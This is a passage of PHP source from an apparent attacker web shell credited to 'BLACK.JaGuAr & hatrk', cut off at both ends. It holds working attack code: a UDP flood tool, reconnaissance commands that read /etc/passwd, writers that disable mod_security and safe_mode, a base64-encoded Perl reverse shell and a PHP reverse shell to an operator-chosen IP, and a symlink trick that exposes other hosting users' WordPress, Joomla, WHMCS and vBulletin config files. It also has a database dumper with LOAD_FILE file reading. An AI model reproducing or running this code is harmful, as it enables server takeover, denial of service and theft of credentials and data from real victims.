echo '<center><span>| UDP DOSSIER |</span><br><br><form onSubmit="g(null,null,this.udphost.value,this.udptime.value,this.udpport.value); return false;" method=POST><span>Host :</span><input name="udphost" type="text" size="25" /><span>Time :</span><input name="udptime" type="text" size="15" /><span>Port :</span><input name="udpport" type="text" size="10" /><input type="submit" value=">>" /></form></center>';
echo "<pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' >";
if(!empty($_POST['p1']) && !empty($_POST['p2']) && !empty($_POST['p3']))
{
$packets=0;
ignore_user_abort(true);
$exec_time=$_POST['p2'];
$time=time();
$max_time=$exec_time+$time;
$host=$_POST['p1'];
$portudp=$_POST['p3'];
for($i=0;$i<65000;$i++)
{
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen('udp://'.$host, $portudp, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "$packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second";
echo "</pre>";
}
echo '</div>';
yemenfooter();
}
function yemenproc()
{
yemenhead();
echo "<Div class=header><center>";
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
if($GLOBALS['sys']=="win")
{
$process=array(
"System Info" =>"systeminfo",
"Active Connections" => "netstat -an",
"Running Services" => "net start",
"User Accounts" => "net user",
"Show Computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
}
else
{
$process=array(
"Process status" => "ps aux",
"Syslog" =>"cat /etc/syslog.conf",
"Resolv" => "cat /etc/resolv.conf",
"Hosts" =>"cat /etc/hosts",
"Passwd" =>"cat /etc/passwd",
"Cpuinfo"=>"cat /proc/cpuinfo",
"Version"=>"cat /proc/version",
"Sbin"=>"ls -al /usr/sbin",
"Interrupts"=>"cat /proc/interrupts",
"lsattr"=>"lsattr -va",
"Uptime"=>"uptime",
"Fstab" =>"cat /etc/fstab",
"HDD Space" => "df -h"
);}
foreach($process as $n => $link)
{
echo '<a href="#" onclick="g(null,null,\''.$link.'\')"> | <b>'.$n.'</b> | </a></br></br>';
}
echo "</center>";
if(!empty($_POST['p1']))
{
echo "<pre class='ml1' style='margin-top:5px' >";
echo yemenEx($_POST['p1']);
echo '</pre>';
}
echo "</div>";
yemenfooter();
}
function yemensafe()
{
yemenhead();
echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br>";
echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
if(!empty($_POST['p2']) && isset($_POST['p2']))
{
$fil=fopen($GLOBALS['cwd'].".htaccess","w");
fwrite($fil,'<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>');
fclose($fil);
}
if(!empty($_POST['p1'])&& isset($_POST['p1']))
{
$fil=fopen($GLOBALS['cwd']."php.ini","w");
fwrite($fil,'safe_mode=OFF
disable_functions=NONE');
fclose($fil);
}
if(!empty($_POST['p3']) && isset($_POST['p3']))
{
$fil=fopen($GLOBALS['cwd'].".htaccess","w");
fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .sh
AddHandler cgi-script .pl
AddHandler cgi-script .pl');
fclose($fil);
}
echo "<br></div>";
yemenfooter();
}
function yemenconnect()
{
yemenhead();
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
echo "<div class=header><center><h3><span>| PERL AND PHP(threads) BACK CONNECT |</span></h3>";
echo "<form onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"><span>PERL BACK CONNECT</span><br>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form>";
echo "<br><form onSubmit=\"g(null,null,'php',this.server.value,this.port.value);return false;\"><span>PHP BACK CONNECT</span><br>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form></center>";
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists('file_put_contents');
if($w){
@fwrite($w,base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = yemenEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1 style='margin-top:5px'>Successfully opened reverse shell to ".$_POST['p2'].":".$_POST['p3']."<br>Connecting...</pre>";
@unlink("/tmp/bc.pl");
}
if($_POST['p1']=='php')
{
@set_time_limit (0);
$ip = $_POST['p2'];
$port =$_POST['p3'];
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
echo "<pre class=ml1 style='margin-top:5px'>";
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
echo "Cant fork!<br>";
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
echo "Error: Can't setsid()<br>";
exit(1);
}
$daemon = 1;
} else {
echo "WARNING: Failed to daemonise. This is quite common and not fatal<br>";
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
echo "$errstr ($errno)";
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
echo "ERROR: Can't spawn shell<br>";
exit(1);
}
@stream_set_blocking($pipes[0], 0);
@stream_set_blocking($pipes[1], 0);
@stream_set_blocking($pipes[2], 0);
@stream_set_blocking($sock, 0);
echo "Successfully opened reverse shell to $ip:$port<br>";
while (1) {
if (feof($sock)) {
echo "ERROR: Shell connection terminated<br>";
break;
}
if (feof($pipes[1])) {
echo "ERROR: Shell process terminated<br>";
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets=@stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) echo "SOCK READ<br>";
$input=fread($sock, $chunk_size);
if ($debug) echo "SOCK: $input<br>";
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) echo "STDOUT READ<br>";
$input = fread($pipes[1], $chunk_size);
if ($debug) echo "STDOUT: $input<br>";
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) echo "STDERR READ<br>";
$input = fread($pipes[2], $chunk_size);
if ($debug) echo "STDERR: $input<br>";
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
echo "</pre>";
}
}
echo "</div>";
yemenfooter();
}
function yemenyemen()
{
yemenhead();
echo"<center><b><font color=white size=7 face=Georgia, Arial>=.+.=</br>Developed by BLACK.JaGuAr & hatrk</font></b></center>";
yemenfooter();
}
function yemensymlink()
{
yemenhead();
$IIIIIIIIIIIl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$IIIIIIIIIII1=explode('/',$IIIIIIIIIIIl );
$IIIIIIIIIIIl =str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1)-1],'',$IIIIIIIIIIIl );
echo '<div class=header><script>p1_=p2_=p3_="";</script><br><center><h3><a href=# onclick="g(\'symlink\',null,\'website\',null)">| Domains |</br> </a><a href=# onclick="g(\'symlink\',null,null,\'whole\')">| ls -n /sym| </br></a><a href=# onclick="g(\'symlink\',null,null,null,\'config\')">| Config PHP symlink | </a></h3></center>';
if(isset($_POST['p1']) && $_POST['p1']=='website')
{
echo "<center>";
$d0mains = @file("/etc/named.conf");
if(!$d0mains){ echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; }
echo "<table align=center class='main' border=0 >
<tr bgcolor=Red><td>Count</td><td>domains</td><td>users</td></tr>";
$count=1;
foreach($d0mains as $d0main){
if(@eregi("zone",$d0main)){
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr><td>".$count."</td><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();
$count++;
}}}
echo "</center></table>";
}
if(isset($_POST['p2']) && $_POST['p2']=='whole')
{
@set_time_limit(0);
echo "<center>";
@mkdir('sym',0777);
$IIIIIIIIIIl1 = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$IIIIIIIIII1I =@fopen ('sym/.htaccess','w');
fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
@symlink('/','sym/root');
$IIIIIIIIIlIl = basename('_FILE_');
$IIIIIIIIIllI = @file('/etc/named.conf');
if(!$IIIIIIIIIllI)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<table align='center' width='40%' class='main'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
if(@eregi('zone',$IIIIIIIIIll1)){
preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);
flush();
if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
$IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));
$IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;
@symlink('/','sym/root');
$IIIIIIII1I1l = $IIIIIIIIIl11[1][0];
$IIIIIIII1I11 = '\.ir';
$IIIIIIII1lII = '\.il';
if (@eregi("$IIIIIIII1I11",$IIIIIIIIIl11[1][0]) or @eregi("$IIIIIIII1lII",$IIIIIIIIIl11[1][0]) )
{
$IIIIIIII1I1l = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$IIIIIIIIIl11[1][0].'</div>';
}
echo "
<tr>
<td>
<a target='_blank' href=http://www.".$IIIIIIIIIl11[1][0].'/>'.$IIIIIIII1I1l.' </a>
</td>
<td>
'.$IIIIIIIII1I1['name']."
</td>
<td>
<a href='sym/root/home/".$IIIIIIIII1I1['name']."/public_html' target='_blank'>symlink </a>
</td>
</tr>";
flush();
}
}
}
}
echo "</center></table>";
}
if(isset($_POST['p3']) && $_POST['p3']=='config')
{
echo "<center>";
@mkdir('sym',0777);
$IIIIIIIIIIl1 = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$IIIIIIIIII1I =@fopen ('sym/.htaccess','w');
@fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
@symlink('/','sym/root');
$IIIIIIIIIlIl = basename('_FILE_');
$IIIIIIIIIllI = @file('/etc/named.conf');
if(!$IIIIIIIIIllI)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "
<table align='center' width='40%' class='main' ><td> Domains </td><td> Script </td>";
foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
if(@eregi('zone',$IIIIIIIIIll1)){
preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);
flush();
if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
$IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));
$IIIIIIIII1l1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/wp-config.php';
$IIIIIIIII11I=get_headers($IIIIIIIII1l1);
$IIIIIIIII11l=$IIIIIIIII11I[0];
$IIIIIIIII111=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/blog/wp-config.php';
$IIIIIIIIlIII=get_headers($IIIIIIIII111);
$IIIIIIIIlIIl=$IIIIIIIIlIII[0];
$IIIIIIIIlII1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/configuration.php';
$IIIIIIIIlIlI=get_headers($IIIIIIIIlII1);
$IIIIIIIIlIll=$IIIIIIIIlIlI[0];
$IIIIIIIIlIl1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/joomla/configuration.php';
$IIIIIIIIlI1I=get_headers($IIIIIIIIlIl1);
$IIIIIIIIlI1l=$IIIIIIIIlI1I[0];
$IIIIIIIIlI11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/includes/config.php';
$IIIIIIIIllII=get_headers($IIIIIIIIlI11);
$IIIIIIIIllIl=$IIIIIIIIllII[0];
$IIIIIIIIllI1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/vb/includes/config.php';
$IIIIIIIIlllI=get_headers($IIIIIIIIllI1);
$IIIIIIIIllll=$IIIIIIIIlllI[0];
$IIIIIIIIlll1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/forum/includes/config.php';
$IIIIIIIIll1I=get_headers($IIIIIIIIlll1);
$IIIIIIIIll1l=$IIIIIIIIll1I[0];
$IIIIIIIIll11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'public_html/clients/configuration.php';
$IIIIIIIIl1II=get_headers($IIIIIIIIll11);
$IIIIIIIIl1Il=$IIIIIIIIl1II[0];
$IIIIIIIIl1I1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/support/configuration.php';
$IIIIIIIIl1II=get_headers($IIIIIIIIl1I1);
$IIIIIIIIl1lI=$IIIIIIIIl1II[0];
$IIIIIIIIl1ll=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';
$IIIIIIIIl1l1=get_headers($IIIIIIIIl1ll);
$IIIIIIIIl11I=$IIIIIIIIl1l1[0];
$IIIIIIIIl11l=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/submitticket.php';
$IIIIIIIIl111=get_headers($IIIIIIIIl11l);
$IIIIIIII1III=$IIIIIIIIl111[0];
$IIIIIIII1IIl=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';
$IIIIIIII1II1=get_headers($IIIIIIII1IIl);
$IIIIIIII1IlI=$IIIIIIII1II1[0];
$IIIIIIII1Ill = strpos($IIIIIIIII11l,'200');
$IIIIIIII1I1I=' ';
if (strpos($IIIIIIIII11l,'200') == true )
{
$IIIIIIII1I1I="<a href='".$IIIIIIIII1l1."' target='_blank'>Wordpress</a>";
}
elseif (strpos($IIIIIIIIlIIl,'200') == true)
{
$IIIIIIII1I1I="<a href='".$IIIIIIIII111."' target='_blank'>Wordpress</a>";
}
elseif (strpos($IIIIIIIIlIll,'200') == true and strpos($IIIIIIII1III,'200') == true )
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIl11l."' target='_blank'>WHMCS</a>";
}
elseif (strpos($IIIIIIIIl1lI,'200') == true)
{
$IIIIIIII1I1I =" <a href='".$IIIIIIIIl1I1."' target='_blank'>WHMCS</a>";
}
elseif (strpos($IIIIIIIIl11I,'200') == true)
{
$IIIIIIII1I1I =" <a href='".$IIIIIIIIl1ll."' target='_blank'>WHMCS</a>";
}
elseif (strpos($IIIIIIIIlIll,'200') == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlII1."' target='_blank'>Joomla</a>";
}
elseif (strpos($IIIIIIIIlI1l,'200') == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlIl1."' target='_blank'>Joomla</a>";
}
elseif (strpos($IIIIIIIIllIl,'200') == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlI11."' target='_blank'>vBulletin</a>";
}
elseif (strpos($IIIIIIIIllll,'200') == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIllI1."' target='_blank'>vBulletin</a>";
}
elseif (strpos($IIIIIIIIll1l,'200') == true)
{
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlll1."' target='_blank'>vBulletin</a>";
}
else
{
continue;
}
$IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;
echo '<tr><td><a href=http://www.'.$IIIIIIIIIl11[1][0].'/>'.$IIIIIIIIIl11[1][0].'</a></td>
<td>'.$IIIIIIII1I1I.'</td></tr>';flush();
}
}
}
}
echo "</center></table>";
}
echo "</div>";
yemenfooter();
}
function yemensql()
{
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error();
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str, $this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table wso2');
return array('file'=>implode("
",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
$sql = $create[1].";
";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query('SELECT * FROM `'.$table.'`');
$head = true;
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
if($v == null)
$item[$k] = "NULL";
elseif(is_numeric($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES
(".implode(", ", $item).')';
$head = false;
} else
$sql = "
,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
}
if(!$head)
if($fp) fwrite($fp, ";
"); else echo(";
");
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if(@$_POST['p2']=='download') {
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
if(empty($_POST['file'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST['file'], 'w')) {
foreach($_POST['tbl'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST['p2']);
} else
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
}
yemenhead();
echo "
<div class=header>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
</tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
echo " of $pages";
if($_POST['p3'] > 1)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
if($_POST['p3'] < $pages)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
$_POST['p3']--;
if($_POST['type']=='pgsql')
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($item as $key => $value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
} else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
echo htmlspecialchars($_POST['p2']);
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
} else {
echo htmlspecialchars($db->error());
}
echo '</div>';
yemenfooter();
}
function yemenbf()
{
yemenhead();
